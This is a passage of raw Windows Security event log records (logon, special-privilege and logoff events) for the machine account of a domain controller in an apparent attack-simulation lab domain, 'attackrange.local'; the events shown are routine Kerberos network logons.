NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE1263 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64203 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249293 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE1263 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249292 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE1202 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249291 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE1202 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64202 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249290 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE1202 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249313 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE1524 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249312 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE1524 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64209 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249311 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE1524 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249310 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE14C3 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249309 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE14C3 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64208 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249308 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE14C3 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249307 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE145D - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249306 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE145D - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64207 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249305 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE145D - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249304 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE13FC - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249303 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE13FC - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64206 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249302 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE13FC - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249346 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x8148B - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249345 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x8158E - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249344 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x81604 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249343 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x8167A - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249342 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x816F0 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249341 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x81766 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249340 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x817E4 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249339 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x8185A - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249338 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x818D0 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249337 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x81946 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249336 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x819BC - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249335 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x81A32 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249334 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x81AAA - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249333 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x81B22 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249332 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x81B9A - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249331 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x81C12 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249330 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x81C8A - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249329 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x81D02 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249328 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x81D7A - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249327 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x81DF2 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249326 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\WIN-DC-725$ - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x85B99 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249325 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - 